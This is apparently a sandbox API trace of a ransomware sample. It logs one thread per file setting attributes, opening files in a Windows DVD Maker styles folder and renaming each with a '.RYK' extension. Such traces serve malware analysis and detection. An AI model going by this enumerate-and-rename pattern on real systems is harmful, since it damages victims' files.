	[0227.977] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0228.342] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0228.342] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1026
	os_tid = 0x162c

	[0227.887] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png", dwFileAttributes=0x80) returned 0
	[0227.978] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0228.341] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0228.341] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1027
	os_tid = 0x1630

	[0227.888] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv", dwFileAttributes=0x80) returned 0
	[0227.978] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0228.340] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0228.340] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1028
	os_tid = 0x1634

	[0227.890] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0227.979] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0228.338] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0228.338] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1029
	os_tid = 0x1638

	[0227.891] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv", dwFileAttributes=0x80) returned 0
	[0227.979] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0228.337] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0228.337] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1030
	os_tid = 0x163c

	[0227.892] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0227.980] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.980] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.980] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1031
	os_tid = 0x1640

	[0227.981] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv", dwFileAttributes=0x80) returned 0
	[0227.981] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.982] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.982] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1053
	os_tid = 0x1698

	[0227.984] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0227.984] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.984] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.984] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1054
	os_tid = 0x169c

	[0227.986] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png", dwFileAttributes=0x80) returned 0
	[0227.986] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.986] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.986] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1055
	os_tid = 0x16a0

	[0227.987] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png", dwFileAttributes=0x80) returned 0
	[0227.988] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.988] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.989] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1094
	os_tid = 0x173c

	[0228.488] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv", dwFileAttributes=0x80) returned 0
	[0228.488] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0228.489] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0228.489] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1095
	os_tid = 0x1740

	[0228.490] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0228.554] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0228.554] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0228.554] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1096
	os_tid = 0x1744

	[0228.491] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv", dwFileAttributes=0x80) returned 0
	[0228.555] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0228.555] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0228.556] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1097
	os_tid = 0x1748

	[0228.495] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0228.557] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0228.557] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0228.557] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1098
	os_tid = 0x174c

	[0228.497] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png", dwFileAttributes=0x80) returned 0
	[0228.560] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0228.560] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0228.560] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1099
	os_tid = 0x1750

	[0228.498] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png", dwFileAttributes=0x80) returned 0
	[0228.562] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0228.562] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0228.562] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1100
	os_tid = 0x1754

	[0228.500] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png", dwFileAttributes=0x80) returned 0
	[0228.563] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0228.563] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0228.563] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1101
	os_tid = 0x1758

	[0228.501] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png", dwFileAttributes=0x80) returned 0
	[0228.565] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0228.565] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0228.566] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1102
	os_tid = 0x175c

	[0228.567] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png", dwFileAttributes=0x80) returned 0
	[0228.706] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0228.706] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0228.706] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1103
	os_tid = 0x1764

	[0228.894] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png", dwFileAttributes=0x80) returned 0
	[0228.899] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0228.907] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0228.907] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1104
	os_tid = 0x1768

	[0228.914] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png", dwFileAttributes=0x80) returned 0
	[0228.918] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0228.926] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0228.927] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1105
	os_tid = 0x176c

	[0228.933] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png", dwFileAttributes=0x80) returned 0
	[0228.938] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0228.948] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0228.948] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1106
	os_tid = 0x1770

	[0228.953] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png", dwFileAttributes=0x80) returned 0
	[0228.958] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0228.966] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0228.966] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1107
	os_tid = 0x1774

	[0228.971] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png", dwFileAttributes=0x80) returned 0
	[0228.975] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0228.975] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0228.975] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1108
	os_tid = 0x1778

